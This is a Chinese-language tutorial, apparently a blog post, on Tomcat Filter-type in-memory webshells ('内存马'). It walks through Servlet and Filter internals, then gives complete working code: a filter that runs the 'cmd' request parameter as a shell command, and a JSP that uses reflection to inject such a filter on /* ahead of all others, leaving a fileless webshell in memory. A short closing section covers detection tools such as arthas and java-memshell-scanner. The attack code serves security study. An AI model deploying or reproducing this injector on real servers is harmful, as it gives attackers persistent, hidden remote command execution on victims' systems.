6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章:
Tomcat简介
什么是Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理流程
1. 客户端发起一个http请求,比如get类型。
2. Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
3. Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
4. Servlet容器调用service()方法。service()方法根据请求类型,这里是get类型,分别调用doGet或者
doPost方法,这里调用doGet方法。doXXX方法中是我们自己写的业务逻辑。
5. 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。容器关闭时候,会调用destory方法
1.3 Tomcat和Servlet的关系
Tomcat 是Web应用服务器,是一个Servlet/JSP容器,Tomcat 作为Servlet容器,负责处理客户请求,把请求传送给Servlet,并将Servlet的响应传送回给客户。
其中Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
1. Engine,实现类为 org.apache.catalina.core.StandardEngine
2. Host,实现类为 org.apache.catalina.core.StandardHost
3. Context,实现类为 org.apache.catalina.core.StandardContext
4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
它们之间是存在父子关系的
- Engine:可以用来配置多个虚拟主机,每个虚拟主机都有一个域名,当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理,Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
- Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
- Context:一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。 Context在创建的时候将根据配置文件\$CATALINA_HOME/conf/web.xml和\$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
- Wrapper:一个 Wrapper 代表一个 Servlet。
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)
最终的流程图如下:
Tomcat容器
在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
Tomcat Filter流程分析
什么是Filter
filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。
如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
Filter生命周期
public void init(FilterConfig filterConfig) throws ServletException; //初始化
和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时, web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只 会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
public void destroy(); //销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
相关Filter类介绍
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
ApplicationFilterChain:调用过滤器链
ApplicationFilterConfig:获取过滤器
ApplicationFilterFactory:组装过滤器链
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
Filter过滤链分析
在IDEA中创建Servlet,可参照下方链接《IntelliJ IDEA创建Servlet最新方法 Idea版本2020.2.2以及IntelliJ IDEA创建Servlet 404问题(超详细)》,唯一不一样的是Filter配置在web.xml,而不是通过@注释配置在类中。
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo2</filter-name>
<filter-class>filter.FilterDemo2</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链
FilterDemo.java:
package filter;
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第一个Filter 初始化创建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一个Filter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
访问 http://localhost:8080/,即可成功触发
接下来借用下面这张图分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的:
Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml
先来看在StandardWrapperValue.java文件中中利用createFilterChain来创建filterChain
跟进createFilterChain方法
通过getParent()获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps
然后开始遍历FilterMaps
如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入if循环,将 filterConfig 添加到 filterChain中,跟进addFilter方法
可以看到此时已经装配第一个filter
重复遍历直至将所有的filter全部装载到filterchain中
重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法
此时的filterchain
跟进doFilter方法,在 doFilter 方法中会调用 internalDoFilter方法
跟进internalDoFilter方法
发现会依次从 filters 中取出 filterConfig,然后会调用 getFilter() 将 filter 从filterConfig 中取出,调用 filter 的 doFilter方法。从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码。
总结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
根据上面的总结可以发现最开始是从 context 中获取的 FilterMaps
将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell。
Filter型内存马
Filter型内存马原理
Filter是javaweb中的过滤器,会对客户端发送的请求进行过滤并做一些操作,我们可以在filter中写入命令执行的恶意文件,让客户端发来的请求通过它来做命令执行。而filter内存马是通过动态注册一个恶意filter,由于是动态注册的,所以这个filter没有文件实体,存在于内存中,随着tomcat重启而消失。一般我们把这个filter放在所有filter最前面优先执行,这样我们的请求就不会受到其他正常filter的干扰。
web.xml简单实现内存马注入
看完上面的Filter过滤链,本地模拟一个Filter内存马注入:
在web.xml添加一个恶意的filter:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"> <filter>
<filter-name>cmd_Filters</filter-name>
<filter-class>filter.cmd_Filters</filter-class>
</filter> <filter-mapping>
<filter-name>cmd_Filters</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping> <filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.FilterDemo</filter-class>
</filter> <filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping> </web-app>
cmd_Filters.java
package filter; import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner; public class cmd_Filters implements Filter {
public void destroy() {
} public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
} public void init(FilterConfig config) throws ServletException { } }
重新编译,执行命令
我们把恶意的Filter注入内存中,只要符合urlpattern,就可以触发内存shell,但这个Filter内存马注入是一次性的,重启就没有了。
看一下此时的Filter类filterConfigs,filterDefs,filterMaps保存的内容
filterchain中保存的内容
可以发现程序在创建过滤器链的时候,如果我们能够修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,就可以组装到filterchain里,当访问符合urlpattern的时候,就能达到利用Filter执行内存注入的操作。
Filter内存马动态注入
从上面的例子简单知道内存马的注入过程,但是实际环境中怎么可能在web.xml中添加对应的恶意Filter类,所以我们需要借用Java反射来修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,进而达到利用Filter执行内存注入的操作。
大致流程如下:
1. 创建一个恶意 Filter
2. 利用 FilterDef 对 Filter 进行一个封装
3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps
现在要解决的两个问题:
- 如何获取这个context对象。
- 如何修改filterConfigs,filterDefs,filterMaps,将恶意类插入。
1) 如何获取这个(StandardContext)context对象
在这之前先来说一下ServletContext跟StandardContext的关系:
Tomcat中的对应的ServletContext实现是ApplicationContext。
在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。通过下面的图可以很清晰的看到两者之间的关系
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。
其实也是层层递归取出context字段的值。
ServeltContext -> ApplicationContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //上面几行的目的是为了获取(ApplicationContext)context
通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
通过(ApplicationContext) appctx.get(servletContext)获取(ApplicationContext)context的内容:
现在的目的是继续获取(StandardContext)context的值
ApplicationContext -> StandardContext(ApplicationContext实例中包含了StandardContext实例)
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //上面几行的目的是为了获取(StandradContext)context
通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:
通过(StandardContext) stdctx.get(servletContext)获取(StandardContext)context的内容:
这样就可以获取(StandardContext)context对象。
组合起来就是:
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
上面这种如果是可以直接获取到request对象,就可以通过将ServletContext转StandardContext这种方法来获取(StandardContext)context的方法。如果没有request对象的话可以从当前线程中获取StandardContext(https://zhuanlan.zhihu.com/p/114625962)。
当然也可以从MBean中获取,可以参考下面文章:
2) 如何修改filterConfigs,filterDefs,filterMaps
查看StandardContext源码,先来介绍几个方法
addFilterDef
添加一个filterDef到Context
addFilterMapBefore
添加filterMap到所有filter最前面
ApplicationFilterConfig
为指定的过滤器构造一个新的 ApplicationFilterConfig
先来定义一个恶意的类filterDemo.java:
package filter; import javax.servlet.*;
import java.io.IOException; class filterDemo implements Filter { @Override
public void init(FilterConfig filterConfig) throws ServletException {
} @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
} @Override
public void destroy() {
}
}
filterDef装载
看一下filterDef类的参数格式:
实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef(); //name = filterDemo
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter); //添加filterDef
standardContext.addFilterDef(filterDef);
filterMap装载
看一下filterMap类的参数格式:
实例化一个FilterMap对象,并将filterMap到所有filter最前面
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz"); //name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
filterConfigs装载
FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
先获取当前filterConfigs信息
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
下面通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
先调用ApplicationFilterConfig.class.getDeclaredConstructor方法,根据context.class与filterDef.class两种参数类型寻找对应的构造方法,获取一个Constructor类对象。
然后通过newInstance(standardContext, filterDef)来创建一个实例。
然后将恶意的filter名和配置好的filterConfig传入
//name = filterDemo
filterConfigs.put(name,filterConfig);
至此,我们的恶意filter已经全部装载完成
3) 内存马动态注入
结合上面的分析,最终的内存马为:
filterDemo.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%
final String name = "FilterAgent";
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { } }; FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不一样
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
运行程序,访问filterDemo.jsp
此时的内存马已经注入到内存中,只需 ?cmd=Command,即可执行我们的命令
看一下此时的filterchain过滤链:
看一下filterConfigs,filterDefs,filterMaps中的内容:
已经成功注入到内存中
内存马排查
参考《tomcat内存马的多种查杀方式》
arthas
arthas是Alibaba开源的Java诊断工具
工具链接:https://github.com/alibaba/arthas
使用文档:https://arthas.aliyun.com/doc/quick-start.html
运行下面命令
java -jar arthas-boot.jar
输入1选择tomcat的进程,之后会进入下面的操作界面:
利用下面的命令进行模糊搜索,会列出所有调用了Filter的类
sc *.Filter
利用下面命令将 Class 进行反编译
jad --source-only org.apache.jsp.filterDemo_jsp
同时也可以进行监控 ,当我们访问 url 就会输出监控结果
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
工具链接:https://github.com/LandGrey/copagent
运行下面命令
java -jar cop.jar
输入1选择tomcat的进程,之后会进入下面的操作界面:
然后在java或class文件夹会保存木马以及运行的类
java-memshell-scanner
工具链接:https://github.com/c0ny1/java-memshell-scanner
c0ny1 师傅写的检测内存马的工具,通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。能够检测并且进行删除,是一个非常方便的工具
内存马远不止这些,本文中内存马还是需要上传 jsp 来生效,但是实际上利用方式远不止这样,我们还可以借助各种反序列化来动态注册 Filter 等。
本次项目的代码文件已打包在github:https://github.com/bmjoker/FilterAgent
6. 站在巨人的肩膀学习Java Filter型内存马的更多相关文章
- Java Filter型内存马的学习与实践
完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- 站在巨人的肩膀上看Servlet——原来如此(更适合初学者认识Servlet)
前言: 有段时间没更新博客了,这段时间因为要准备考试,考完试后又忙了一阵别的事,一直没能静下心来写博客.大学考试真是越来越恶心了,各种心酸,那酸爽,够味.不过还好,马上就要大三了,听大三学长学姐说大三 ...
- 站在巨人的肩膀上,C++开源库大全
程序员要站在巨人的肩膀上,C++拥有丰富的开源库,这里包括:标准库.Web应用框架.人工智能.数据库.图片处理.机器学习.日志.代码分析等. 标准库 C++ Standard Library:是一系列 ...
- react-native之站在巨人的肩膀上
react-native之站在巨人的肩膀上 前方高能,大量图片,不过你一定会很爽.如果爽到了,请告诉我
- 对EasyDarwin开源项目2018的思考与2019发展的规划:继续站在巨人的肩膀引入更多巨人
EasyDarwin@2018思考 从2012年开始接触Darwin Streaming Server,到2018年从底层开始完全重新架构.研发.完成,EasyDarwin这个项目已经发展了6年了,时 ...
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...
- 站在巨人的肩膀上学习Android开发
我们知道,一開始最好的学习方法是模仿,尤其是模仿巨人. 那说到Android开发的模仿自然就是分析并研究主流程序的布局.实现方法.进而提升自己的技术. 第一招----逆向project 要分析&quo ...
- java的设计模式的一些链接,站在巨人的肩膀上,才能看的更远。(均来源与网上的各个大牛的博客中)
创建型抽象工厂模式 http://www.cnblogs.com/java-my-life/archive/2012/03/28/2418836.html工厂方法 http://www.cnblogs ...
随机推荐
- MySQL——MySQL安装
1.rpm yum安装:安装方便.速度快.无法定制 2.二进制安装:解压即可使用,不能定制功能 3.编译安装: 可定制.安装慢: MySQL5.5之前:./configure make make in ...
- NOIP模拟13「工业题·卡常题·玄学题」
T1:工业题 基本思路 这题有一个重要的小转化: 我们将原来的函数看作一个矩阵,\(f(i,j-1)*a\)相当于从\(j-1\)向右走一步并贡献a,\(f(i-1,j)*b\)相当于从\(i-1 ...
- Intel® QAT 加速卡之数据面流程(图)
QAT数据面流程 sessionSetupData数据结构 pOpData数据结构
- 【第十篇】- Git 远程仓库(Github)之Spring Cloud直播商城 b2b2c电子商务技术总结
Git 远程仓库(Github) Git 并不像 SVN 那样有个中心服务器. 目前我们使用到的 Git 命令都是在本地执行,如果你想通过 Git 分享你的代码或者与其他开发人员合作. 你就需要将数据 ...
- 【PHP数据结构】线性表?顺序表?链表?别再傻傻分不清楚
遵从所有教材以及各类数据结构相关的书书籍,我们先从线性表开始入门.今天这篇文章更偏概念,是关于有线性表的一个知识点的汇总. 上文说过,物理结构是用于确定数据以何种方式存储的.其他的数据结构(树.图). ...
- PHP设计模式之状态模式
状态模式从字面上其实并不是很好理解.这里的状态是什么意思呢?保存状态?那不就是备忘录模式了.其实,这里的状态是类的状态,通过改变类的某个状态,让这个类感觉像是换了一个类一样.说起来有点拗口吧,先学习概 ...
- ecshop不同的文章分类使用不同的模板的方法
ecshop文章模板做的太简单,页面很丑,怎么才能实现不同的文章使用不同的模板呢,方法是有的,就是没有shopex那么方便,但还可以实现,只要能用就行. 1.打开article_cat.php文件,在 ...
- 带你掌握Vue过滤器filters及时间戳转换
摘要:Vue的filters过滤器是比较常见的一个知识点,下面我将结合时间戳转换的例子带你快速了解filters的用法. 本文分享自华为云社区<三分钟掌握Vue过滤器filters及时间戳转换& ...
- Shell系列(15)- 数值运算方法
数值运算-方法1 declare -i [root@localhost ~]# aa=11 [root@localhost ~]# aa=22 #给变量aa和bb赋值 [root@localhos ...
- php nginx 路径批量配置
* 假设 E:\upload 作为图片上传的位置 nginx 做web服务 * 创建文件conf.php 放到这个目录下 <?php function handleDir($it, &$ ...